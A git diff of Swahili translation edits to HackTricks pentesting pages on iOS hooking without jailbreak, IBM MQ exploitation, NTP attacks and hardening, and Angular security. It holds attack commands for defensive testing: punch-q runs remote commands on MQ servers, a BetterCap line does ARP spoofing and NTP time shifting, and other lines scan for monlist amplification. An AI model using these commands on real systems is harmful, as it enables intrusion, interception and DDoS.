Kwa pentests za kawaida kwenye toleo la sasa la iOS, Alt/Side-Store kwa kawaida ndio chaguo bora zaidi.
|
||||
Kwa pentests za kawaida kwenye toleo la sasa la iOS, Alt/Side-Store mara nyingi ni chaguo bora zaidi.
|
||||
|
||||
### Hooking / uhandisi wa dynamic
|
||||
|
||||
Unaweza kuhook programu yako kama ilivyo kwenye kifaa kilichofungwa mara tu inaposainiwa na `get_task_allow` **na** Hali ya Mwandishi ikiwa juu:
|
||||
Unaweza kuunganisha programu yako kama ilivyo kwenye kifaa kilichofungwa mara tu inaposainiwa na `get_task_allow` **na** Hali ya Mwandamizi ikiwa wazi:
|
||||
```bash
|
||||
# Spawn & attach with objection
|
||||
objection -g "com.example.target" explore
|
||||
@ -94,7 +94,7 @@ Recent Frida releases (>=16) automatically handle pointer authentication and oth
|
||||
|
||||
### Automated dynamic analysis with MobSF (no jailbreak)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) inaweza kuingiza IPA iliyosainiwa na developer kwenye kifaa halisi kwa kutumia mbinu ile ile (`get_task_allow`) na inatoa UI ya wavuti yenye kivinjari cha mfumo wa faili, kukamata trafiki na console ya Frida【turn6view0†L2-L3】. Njia ya haraka zaidi ni kuendesha MobSF kwenye Docker kisha kuunganisha iPhone yako kupitia USB:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) inaweza kuingiza IPA iliyoandikwa na developer kwenye kifaa halisi kwa kutumia mbinu ile ile (`get_task_allow`) na inatoa UI ya wavuti yenye kivinjari cha mfumo wa faili, kukamata trafiki na console ya Frida【】. Njia ya haraka ni kuendesha MobSF kwenye Docker kisha kuunganisha iPhone yako kupitia USB:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
@ -106,10 +106,10 @@ MobSF itapeleka kiotomatiki binary, iwezeshe seva ya Frida ndani ya sandbox ya p
|
||||
|
||||
### iOS 17 & Kikwazo cha Modu ya Lockdown
|
||||
|
||||
* **Modu ya Lockdown** (Mipangilio → Faragha & Usalama) inazuia linker ya dynamic kupakia maktaba za dynamic zisizo na saini au zilizotiwa saini na nje. Unapojaribu vifaa ambavyo vinaweza kuwa na hali hii imewezeshwa hakikisha ime **zimwa** au vikao vyako vya Frida/objection vitakatishwa mara moja.
|
||||
* Uthibitishaji wa Pointer (PAC) unatekelezwa kwa mfumo mzima kwenye vifaa vya A12+. Frida ≥16 inashughulikia PAC stripping kwa uwazi — tu hakikisha *frida-server* na zana za Python/CLI ziko katika hali ya kisasa unapozindua toleo jipya kuu la iOS.
|
||||
* **Modu ya Lockdown** (Mipangilio → Faragha & Usalama) inazuia linker ya dynamic kupakia maktaba za dynamic zisizo na saini au zilizotiwa saini na nje. Unapojaribu vifaa ambavyo vinaweza kuwa na modhi hii imewezeshwa hakikisha ime **zimwa** au vikao vyako vya Frida/objection vitakatishwa mara moja.
|
||||
* Uthibitishaji wa Pointer (PAC) unatekelezwa kwa mfumo mzima kwenye vifaa vya A12+. Frida ≥16 inashughulikia PAC stripping kwa uwazi — hakikisha unashikilia *frida-server* na zana za Python/CLI zikiwa za kisasa kila wakati toleo jipya kuu la iOS linapotolewa.
|
||||
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
|
||||
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
- Hati za maendeleo za Apple – Kuwawezesha Modu ya Developer kwenye kifaa: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
|
||||
|
@ -20,7 +20,7 @@ Kwa njia ya mikono zaidi, tumia maktaba ya Python **[pymqi](https://github.com/d
|
||||
|
||||
### Installing pymqi
|
||||
|
||||
**IBM MQ dependencies** zinahitaji kusakinishwa na kupakiwa:
|
||||
**IBM MQ dependencies** zinahitaji kusanikishwa na kupakiwa:
|
||||
|
||||
1. Unda akaunti (IBMid) kwenye [https://login.ibm.com/](https://login.ibm.com/).
|
||||
2. Pakua maktaba za IBM MQ kutoka [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Kwa Linux x86_64 ni **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
|
||||
@ -38,13 +38,13 @@ Kwa njia ya mikono zaidi, tumia maktaba ya Python **[pymqi](https://github.com/d
|
||||
> fi
|
||||
> ```
|
||||
|
||||
5. Sakinisha hizi pakiti:
|
||||
5. Sanidi hizi pakiti:
|
||||
```bash
|
||||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
|
||||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||||
```
|
||||
6. Kisha, ongeza muda faili za `.so` kwenye LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **kabla** ya kutumia zana nyingine zinazotumia utegemezi hizi.
|
||||
6. Kisha, ongeza kwa muda faili za `.so` kwenye LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **kabla** ya kuendesha zana nyingine zinazotumia utegemezi hizi.
|
||||
|
||||
Kisha, unaweza kunakili mradi [**pymqi**](https://github.com/dsuch/pymqi): ina vipande vya msimbo vya kuvutia, constants, ... Au unaweza moja kwa moja kufunga maktaba na: `pip install pymqi`.
|
||||
|
||||
@ -80,11 +80,11 @@ Queue Manager name: MYQUEUEMGR
|
||||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||||
```
|
||||
Inatokea kwamba baadhi ya mifano ya IBM MQ inakubali maombi ya MQ **yasiyo na uthibitisho**, hivyo `--username / --password` hazihitajiki. Kwa hakika, haki za ufikiaji pia zinaweza kutofautiana.
|
||||
Inatokea kwamba baadhi ya mifano ya IBM MQ inakubali maombi ya MQ **yasiyo na uthibitisho**, hivyo `--username / --password` hazihitajiki. Kwa kweli, haki za ufikiaji pia zinaweza kutofautiana.
|
||||
|
||||
Pale tunapopata jina moja la channel (hapa: `DEV.ADMIN.SVRCONN`), tunaweza kuhesabu channel zingine zote.
|
||||
|
||||
Hesabu inaweza kufanywa kimsingi kwa kutumia kipande hiki cha msimbo `code/examples/dis_channels.py` kutoka **pymqi**:
|
||||
Hesabu hiyo inaweza kufanywa kimsingi kwa kutumia kipande hiki cha msimbo `code/examples/dis_channels.py` kutoka **pymqi**:
|
||||
```python
|
||||
import logging
|
||||
import pymqi
|
||||
@ -121,7 +121,7 @@ logging.info('Found channel `%s`' % channel_name)
|
||||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
... Lakini **punch-q** pia inaingiza sehemu hiyo (ikiwa na maelezo zaidi!). Inaweza kuzinduliwa kwa:
|
||||
... Lakini **punch-q** pia inaingiza sehemu hiyo (ikiwa na maelezo zaidi!). Inaweza kuzinduliwa na:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||||
Showing channels with prefix: "*"...
|
||||
@ -170,7 +170,7 @@ Showing queues with prefix: "*"...
|
||||
|
||||
### Dump messages
|
||||
|
||||
Unaweza kulenga foleni(s)/kanali(s) ili kunusa / kutupa ujumbe kutoka kwao (operesheni isiyo na uharibifu). _Mifano:_
|
||||
Unaweza kulenga foleni(s)/kanali(s) ili kunusa / kutupa ujumbe kutoka kwao (operesheni isiyo na uharibifu). _Examples:_
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||||
```
|
||||
@ -182,7 +182,7 @@ Unaweza kulenga foleni(s)/kanali(s) ili kunusa / kutupa ujumbe kutoka kwao (oper
|
||||
|
||||
### Utekelezaji wa msimbo
|
||||
|
||||
> Maelezo machache kabla ya kuendelea: IBM MQ inaweza kudhibitiwa kwa njia nyingi: MQSC, PCF, Amri ya Udhibiti. Orodha za jumla zinaweza kupatikana katika [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> Maelezo machache kabla ya kuendelea: IBM MQ inaweza kudhibitiwa kwa njia nyingi: MQSC, PCF, Control Command. Orodha za jumla zinaweza kupatikana katika [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Mifumo ya Amri Inayoweza Kupangwa_**) ndiyo tunayoangazia ili kuingiliana kwa mbali na mfano. **punch-q** na zaidi **pymqi** zinategemea mwingiliano wa PCF.
|
||||
>
|
||||
> Unaweza kupata orodha ya amri za PCF:
|
||||
@ -196,7 +196,7 @@ Unaweza kulenga foleni(s)/kanali(s) ili kunusa / kutupa ujumbe kutoka kwao (oper
|
||||
>
|
||||
> _Kumbuka: kila wakati kulingana na IBM MQ documentation (Marejeo ya Usimamizi), pia kuna kiunganishi cha HTTP kwenye `/admin/action/qmgr/{qmgrName}/mqsc` ili kuendesha amri sawa ya MQSC kwa ajili ya uundaji wa huduma (`DEFINE SERVICE`). Kipengele hiki hakijajadiliwa hapa bado._
|
||||
|
||||
Uundaji / kufuta huduma kwa PCF kwa utekelezaji wa programu ya mbali unaweza kufanywa na **punch-q**:
|
||||
Uundaji / kufuta huduma kwa PCF kwa utekelezaji wa programu ya mbali kunaweza kufanywa na **punch-q**:
|
||||
|
||||
**Mfano 1**
|
||||
```bash
|
||||
@ -232,7 +232,7 @@ Kwa reverse shell rahisi, **punch-q** inapendekeza pia payloads mbili za reverse
|
||||
- Moja na bash
|
||||
- Moja na perl
|
||||
|
||||
_Kwa hakika unaweza kujenga moja ya kawaida kwa kutumia amri ya `execute`._
|
||||
_Bila shaka unaweza kujenga moja maalum kwa kutumia amri ya `execute`._
|
||||
|
||||
Kwa bash:
|
||||
```bash
|
||||
@ -246,7 +246,7 @@ Kwa perl:
|
||||
|
||||
Unaweza kuchimba katika nyaraka za IBM MQ na kutumia moja kwa moja maktaba ya **pymqi** ya python ili kujaribu amri maalum za PCF ambazo hazijatekelezwa katika **punch-q**.
|
||||
|
||||
**Example:**
|
||||
**Mfano:**
|
||||
```python
|
||||
import pymqi
|
||||
|
||||
@ -325,8 +325,8 @@ CONTAINER ID IMAGE COMMAND CRE
|
||||
|
||||
## Marejeleo
|
||||
|
||||
- [mgeeky's gist - "Marekebisho ya Vitendo ya IBM MQ Penetration Testing"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [mgeeky's gist - "Maelezo ya Vitendo ya Kupenya IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
- [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -14,7 +14,7 @@
|
||||
- Tumia vyanzo vya NTP au NTS (Network Time Security) vilivyoaminika na uthibitisho.
|
||||
- Punguza nani anaweza kuuliza/kutoa amri kwa daemon (``restrict default noquery``, ``kod`` n.k.).
|
||||
- Zima maswali ya udhibiti ya Mode-6/7 ya zamani (``monlist``, ``ntpdc``) au punguza kiwango chao.
|
||||
- Fuata mabadiliko ya usawazishaji/halisi ya sekunde za kuruka kwa uingiliaji.
|
||||
- Fuata mabadiliko ya usawazishaji/halisi ya sekunde za kuruka kwa udanganyifu.
|
||||
- Hifadhi daemon ikisasishwa (angalia CVEs za hivi karibuni hapa chini).
|
||||
|
||||
**Default ports**
|
||||
@ -76,23 +76,23 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
|
||||
Zingatia kwa makini mistari ya ``restrict``, mipangilio ya ``kod`` (Kiss-o'-Death), ``disable monitor``/``includefile /etc/ntp/crypto`` na ikiwa *NTS* imewezeshwa (``nts enable``).
|
||||
|
||||
---
|
||||
## Uhalifu wa Karibuni (2023-2025)
|
||||
## Uthibitisho wa Hivi Karibuni (2023-2025)
|
||||
|
||||
| Mwaka | CVE | Kipengele | Athari |
|
||||
|------|-----|-----------|--------|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Kuandika nje ya mipaka kadhaa kunapatikana kupitia majibu ya **ntpq**. Patch katika **4.2.8p16** 🡒 sasisha au rudisha marekebisho. |
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Maandishi mengi ya nje ya mipaka yanayoweza kufikiwa kupitia majibu ya **ntpq**. Patch katika **4.2.8p16** 🡒 sasisha au rudisha nyuma marekebisho. |
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (uteuzi wa Rust) | Keki ya **NTS** isiyo sahihi husababisha **DoS** ya mbali kabla ya v0.3.3 – inaathiri bandari 123 hata wakati NTS **imezimwa**. |
|
||||
| 2024 | sasisho za distro | **chrony 4.4 / 4.5** – uimarishaji wa usalama kadhaa & marekebisho ya NTS-KE (mfano SUSE-RU-2024:2022) |
|
||||
| 2024 | Rekodi ya DDoS | Cloudflare inaripoti shambulio la **5.6 Tbps UDP reflection** (NTP miongoni mwa protokali zinazotumika). Hifadhi *monitor* & *monlist* zikiwa zimezimwa kwenye mwenyeji wa mtandao. |
|
||||
| 2024 | Rekodi ya DDoS | Cloudflare inaripoti shambulio la **5.6 Tbps UDP reflection** (NTP miongoni mwa protokali zinazotumika). Hifadhi *monitor* & *monlist* zimezimwa kwenye mwenyeji wa mtandao. |
|
||||
|
||||
> **Vifaa vya kutekeleza**: Mifano ya uthibitisho wa mzigo wa 2023 ntpq OOB-write iko kwenye GitHub (angalia andiko la Meinberg) na inaweza kutumika kama silaha kwa uvuvi wa upande wa mteja wa wasimamizi wa mifumo.
|
||||
> **Vifaa vya kutekeleza**: Mifano ya uthibitisho wa dhana kwa mfululizo wa 2023 ntpq OOB-write iko kwenye GitHub (ona andiko la Meinberg) na inaweza kutumika kama silaha kwa uvuvi wa upande wa mteja wa wasimamizi wa mifumo.
|
||||
|
||||
---
|
||||
## Mashambulizi ya Juu
|
||||
|
||||
### 1. NTP Amplification / Reflection
|
||||
|
||||
Swali la zamani la Mode-7 ``monlist`` linarejesha hadi **600 anwani za mwenyeji** na bado lipo kwenye maelfu ya mwenyeji wa Mtandao. Kwa sababu jibu (428-468 bytes/entry) ni *~ 200×* kubwa zaidi kuliko ombi la byte 8, mshambuliaji anaweza kufikia viwango vya kuimarisha vya tarakimu tatu. Njia za kupunguza:
|
||||
Swali la zamani la Mode-7 ``monlist`` linarejesha hadi **600 anwani za mwenyeji** na bado lipo kwenye maelfu ya mwenyeji wa Mtandao. Kwa sababu ya jibu (428-468 bytes/entry) ni *~ 200×* kubwa kuliko ombi la byte 8, mshambuliaji anaweza kufikia viwango vya kuimarisha vya tarakimu tatu. Njia za kupunguza:
|
||||
|
||||
- Sasisha hadi ntp 4.2.8p15+ na **ongeza** ``disable monitor``.
|
||||
- Punguza kiwango cha UDP/123 kwenye ukingo au wezesha *sessions-required* kwenye vifaa vya DDoS.
|
||||
@ -100,13 +100,13 @@ Swali la zamani la Mode-7 ``monlist`` linarejesha hadi **600 anwani za mwenyeji*
|
||||
|
||||
Tazama makala ya kituo cha kujifunza cha Cloudflare kwa muhtasari wa hatua kwa hatua.
|
||||
|
||||
### 2. Mashambulizi ya Muda-Kuhamisha / Kuchelewesha (Utafiti wa Khronos / Chronos)
|
||||
### 2. Mashambulizi ya Muda-Kuhamisha / Kuchelewesha (utafiti wa Khronos / Chronos)
|
||||
|
||||
Hata na uthibitisho, mshambuliaji kwenye njia anaweza kimya kimya **kuhamasisha saa ya mteja** kwa kuangusha/kuchelewesha pakiti. Rasimu ya IETF **Khronos (zamani Chronos)** inapendekeza kuuliza seti tofauti ya seva kwa nyuma na kuangalia matokeo ili kugundua mabadiliko > 𝚡 ms. Chrony ya kisasa (4.4+) tayari inatekeleza chujio kama hicho cha akili (``maxdistance`` / ``maxjitter``).
|
||||
|
||||
### 3. Matumizi mabaya ya NTS & 4460/tcp kufichuliwa
|
||||
### 3. Unyanyasaji wa NTS & 4460/tcp kufichuliwa
|
||||
|
||||
NTS inahamisha crypto nzito kwenye **kanali ya TLS 1.3 kwenye 4460/tcp** (``ntske/1``). Utekelezaji mbaya (angalia CVE-2023-33192) unakufa wakati wa kuchambua keki au kuruhusu cipher dhaifu. Wapimaji wa pentesting wanapaswa:
|
||||
NTS inahamisha crypto nzito kwenye **kanali ya TLS 1.3 kwenye 4460/tcp** (``ntske/1``). Utekelezaji mbaya (ona CVE-2023-33192) unakufa wakati wa kuchambua keki au kuruhusu cipher dhaifu. Wapimaji wa usalama wanapaswa:
|
||||
```bash
|
||||
# TLS reconnaissance
|
||||
nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||
@ -114,7 +114,7 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||
# Grab banner & ALPN
|
||||
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
||||
```
|
||||
Tafuta vyeti vilivyojitegemea au vilivyokwisha muda na cipher-suites dhaifu (non-AEAD). Kumbukumbu: RFC 8915 §4.
|
||||
Tafuta vyeti vilivyojitegemea au vilivyokwisha muda na cipher-suites dhaifu (non-AEAD). Rejea: RFC 8915 §4.
|
||||
|
||||
---
|
||||
## Kuimarisha / Mbinu Bora za Sasa (BCP-233 / RFC 8633)
|
||||
@ -123,7 +123,7 @@ Tafuta vyeti vilivyojitegemea au vilivyokwisha muda na cipher-suites dhaifu (non
|
||||
|
||||
1. Tumia **≥ 4** vyanzo huru, tofauti vya muda (mabwawa ya umma, GPS, PTP-bridges) ili kuepuka sumu ya chanzo kimoja.
|
||||
2. Washa ``kod`` na ``limited``/``nomodify`` vizuizi ili wateja wanaotumia vibaya wapokee pakiti za **Kiss-o'-Death** za mipaka ya kiwango badala ya majibu kamili.
|
||||
3. Fuata kumbukumbu za daemon kwa matukio ya **panic** au marekebisho ya hatua > 1000 s. (Saini za shambulio kwa mujibu wa RFC 8633 §5.3.)
|
||||
3. Fuata kumbukumbu za daemon kwa matukio ya **panic** au marekebisho ya hatua > 1000 s. (Saini za shambulio kulingana na RFC 8633 §5.3.)
|
||||
4. Fikiria **leap-smear** ili kuepuka kukatika kwa sekunde za leap, lakini hakikisha *wateja wote* wa chini wanatumia dirisha sawa la smear.
|
||||
5. Hifadhi polling ≤24 h ili bendera za sekunde za leap zisikosewe.
|
||||
|
||||
@ -144,7 +144,7 @@ port:4460 "ntske" # NTS-KE
|
||||
| ``ntpwn`` | Wrapper ya script-kiddie kutekeleza maswali ya monlist & peers | ``python ntpwn.py --monlist targets.txt`` |
|
||||
| **zgrab2 ntp** | Skanning ya wingi / Matokeo ya JSON ikiwa na bendera ya monlist | Tazama amri hapo juu |
|
||||
| ``chronyd`` na ``allow`` | Endesha seva ya NTP isiyo halali katika maabara ya pentest | ``chronyd -q 'server 127.127.1.0 iburst'`` |
|
||||
| ``BetterCap`` | Ingiza pakiti za NTP kwa ajili ya muda-kubadilisha MITM kwenye Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
|
||||
| ``BetterCap`` | Ingiza pakiti za NTP kwa ajili ya MITM ya mabadiliko ya wakati kwenye Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
|
||||
|
||||
---
|
||||
## Amri za Kiotomatiki za HackTricks
|
||||
@ -167,16 +167,16 @@ Description: Enumerate NTP
|
||||
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
|
||||
```
|
||||
---
|
||||
## References
|
||||
## Marejeo
|
||||
|
||||
- RFC 8915 – *Usalama wa Wakati wa Mtandao kwa Protokali ya Wakati wa Mtandao* (port 4460)
|
||||
- RFC 8915 – *Usalama wa Wakati wa Mtandao kwa Protokali ya Wakati wa Mtandao* (bandari 4460)
|
||||
- RFC 8633 – *Protokali ya Wakati wa Mtandao BCP*
|
||||
- Ripoti ya DDoS ya Cloudflare 2024 Q4 (5.6 Tbps)
|
||||
- Makala ya Cloudflare *Shambulio la Kuongeza NTP*
|
||||
- NTP 4.2.8p15 CVE mfululizo 2023-04
|
||||
- NVD entries **CVE-2023-26551–55**, **CVE-2023-33192**
|
||||
- NTP 4.2.8p15 mfululizo wa CVE 2023-04
|
||||
- Kuingia kwa NVD **CVE-2023-26551–55**, **CVE-2023-33192**
|
||||
- Sasisho la usalama la SUSE chrony 2024 (chrony 4.5)
|
||||
- Rasimu ya Khronos/Chronos (kupunguza mabadiliko ya wakati)
|
||||
- mwongozo wa chronyc/mifano kwa ufuatiliaji wa mbali
|
||||
- zgrab2 ntp module docs
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
- hati za moduli za zgrab2 ntp
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Angular
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## The Checklist
|
||||
|
||||
@ -16,11 +16,11 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
|
||||
|
||||
## What is Angular
|
||||
|
||||
Angular ni **nguzo** na **chanzo wazi** cha mfumo wa mbele kinachoshughulikiwa na **Google**. Inatumia **TypeScript** kuboresha usomaji wa msimbo na urekebishaji. Pamoja na mitambo ya usalama yenye nguvu, Angular inazuia udhaifu wa kawaida wa upande wa mteja kama **XSS** na **mwelekeo wazi**. Inaweza kutumika pia kwenye **seva**, hivyo kuzingatia usalama ni muhimu kutoka **pande zote**.
|
||||
Angular ni **nguzo** na **chanzo wazi** cha mfumo wa mbele kinachoshughulikiwa na **Google**. Inatumia **TypeScript** kuboresha usomaji wa msimbo na ufuatiliaji wa makosa. Pamoja na mitambo yenye nguvu ya usalama, Angular inazuia udhaifu wa kawaida wa upande wa mteja kama **XSS** na **mwelekeo wazi**. Inaweza kutumika pia kwenye **upande wa seva**, hivyo kuzingatia usalama ni muhimu kutoka **pande zote**.
|
||||
|
||||
## Framework architecture
|
||||
|
||||
Ili kuelewa vyema misingi ya Angular, hebu tuangalie dhana zake muhimu.
|
||||
Ili kuelewa vizuri misingi ya Angular, hebu tuangalie dhana zake muhimu.
|
||||
|
||||
Mradi wa kawaida wa Angular kawaida unaonekana kama:
|
||||
```bash
|
||||
@ -43,11 +43,11 @@ my-workspace/
|
||||
```
|
||||
Kulingana na nyaraka, kila programu ya Angular ina angalau kipengele kimoja, kipengele cha mzizi (`AppComponent`) ambacho kinahusisha hierarchi ya vipengele na DOM. Kila kipengele kinafafanua darasa ambalo lina data na mantiki ya programu, na kinahusishwa na kiolezo cha HTML ambacho kinafafanua mtazamo wa kuonyeshwa katika mazingira ya lengo. Mshereheshaji `@Component()` unatambua darasa lililo chini yake kama kipengele, na unatoa kiolezo na metadata maalum ya kipengele. `AppComponent` imefafanuliwa katika faili `app.component.ts`.
|
||||
|
||||
Angular NgModules zinatangaza muktadha wa uundaji wa seti ya vipengele ambayo imejitolea kwa eneo la programu, mtiririko wa kazi, au seti ya uwezo inayohusiana kwa karibu. Kila programu ya Angular ina moduli ya mzizi, ambayo kwa kawaida inaitwa `AppModule`, ambayo inatoa mekanizma ya kuanzisha inayozindua programu. Programu kwa kawaida ina moduli nyingi za kazi. `AppModule` imefafanuliwa katika faili `app.module.ts`.
|
||||
NgModules za Angular zinatangaza muktadha wa uundaji wa seti ya vipengele ambayo imejitolea kwa eneo la programu, mtiririko wa kazi, au seti ya uwezo inayohusiana kwa karibu. Kila programu ya Angular ina moduli ya mzizi, ambayo kwa kawaida inaitwa `AppModule`, ambayo inatoa mekanizma ya kuanzisha inayozindua programu. Programu kwa kawaida ina moduli nyingi za kazi. `AppModule` imefafanuliwa katika faili `app.module.ts`.
|
||||
|
||||
NgModule ya Angular `Router` inatoa huduma inayokuruhusu kufafanua njia ya urambazaji kati ya majimbo tofauti ya programu na hierarchi za mtazamo katika programu yako. `RouterModule` imefafanuliwa katika faili `app-routing.module.ts`.
|
||||
|
||||
Kwa data au mantiki ambayo haijahusishwa na mtazamo maalum, na unataka kushiriki kati ya vipengele, unaunda darasa la huduma. Ufafanuzi wa darasa la huduma unatanguliwa mara moja na mshereheshaji `@Injectable()`. Mshereheshaji unatoa metadata inayoruhusu watoa huduma wengine kuingizwa kama utegemezi katika darasa lako. Uingizaji wa utegemezi (DI) unakuruhusu kuweka darasa lako la kipengele kuwa nyembamba na bora. Haziipati data kutoka kwa seva, kuthibitisha ingizo la mtumiaji, au kuandika moja kwa moja kwenye console; zinaweka kazi hizo kwa huduma.
|
||||
Kwa data au mantiki ambayo haijahusishwa na mtazamo maalum, na ambayo unataka kushiriki kati ya vipengele, unaunda darasa la huduma. Ufafanuzi wa darasa la huduma unatanguliwa mara moja na mshereheshaji `@Injectable()`. Mshereheshaji unatoa metadata inayoruhusu watoa huduma wengine kuingizwa kama utegemezi katika darasa lako. Uingizaji wa utegemezi (DI) unakuruhusu kuweka darasa lako la kipengele kuwa nyembamba na bora. Haziipati data kutoka kwa seva, kuthibitisha ingizo la mtumiaji, au kuandika moja kwa moja kwenye console; zinaweka kazi hizo kwa huduma.
|
||||
|
||||
## Mipangilio ya sourcemap
|
||||
|
||||
@ -78,12 +78,12 @@ Ufunguo unaweza kuitwa kwenye mali, matukio, na sifa, pamoja na kwenye mwanacham
|
||||
|
||||
| AINA | LENGO | MIFANO |
|
||||
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
|
||||
| Mali | Mali ya kipengee, Mali ya Kipengee, Mali ya Mwelekeo | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Tukio | Tukio la kipengee, Tukio la Kipengee, Tukio la Mwelekeo| \<button type="button" (click)="onSave()">Save |
|
||||
| Njia Mbili| Tukio na mali | \<input \[(ngModel)]="name"> |
|
||||
| Sifa | Sifa (kipekee) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| Darasa | mali ya darasa | \<div \[class.special]="isSpecial">Special |
|
||||
| Mtindo | mali ya mtindo | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
| Mali | Mali ya kipengee, mali ya Komponenti, mali ya Mwelekeo | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Tukio | Tukio la kipengee, tukio la Komponenti, tukio la Mwelekeo | \<button type="button" (click)="onSave()">Save |
|
||||
| Njia Mbili| Tukio na mali | \<input \[(ngModel)]="name"> |
|
||||
| Sifa | Sifa (kipekee) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| Darasa | mali ya darasa | \<div \[class.special]="isSpecial">Special |
|
||||
| Mtindo | mali ya mtindo | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
|
||||
## Mfano wa usalama wa Angular
|
||||
|
||||
@ -114,18 +114,18 @@ Matokeo: `<div><h1>test</h1></div>`
|
||||
|
||||
Kuna aina 6 za `SecurityContext` :
|
||||
|
||||
* `None`;
|
||||
* `Hakuna`;
|
||||
* `HTML` inatumika, wakati wa kutafsiri thamani kama HTML;
|
||||
* `STYLE` inatumika, wakati wa kufunga CSS kwenye mali ya `style`;
|
||||
* `URL` inatumika kwa mali za URL, kama vile `<a href>`;
|
||||
* `SCRIPT` inatumika kwa msimbo wa JavaScript;
|
||||
* `RESOURCE_URL` kama URL inayopakiwa na kutekelezwa kama msimbo, kwa mfano, katika `<script src>`.
|
||||
* `RESOURCE_URL` kama URL inayopakuliwa na kutekelezwa kama msimbo, kwa mfano, katika `<script src>`.
|
||||
|
||||
## Udhaifu
|
||||
|
||||
### Kupita Njia za Kuamini Usalama
|
||||
### Kupita Njia za Uaminifu wa Usalama
|
||||
|
||||
Angular inatoa orodha ya mbinu za kupita mchakato wake wa kusafisha wa chaguo-msingi na kuashiria kwamba thamani inaweza kutumika kwa usalama katika muktadha maalum, kama katika mifano ifuatayo mitano:
|
||||
Angular inintroduce orodha ya mbinu za kupita mchakato wake wa kusafisha wa chaguo-msingi na kuashiria kwamba thamani inaweza kutumika kwa usalama katika muktadha maalum, kama katika mifano mitano ifuatayo:
|
||||
|
||||
1. `bypassSecurityTrustUrl` inatumika kuashiria kwamba thamani iliyotolewa ni URL salama ya mtindo:
|
||||
|
||||
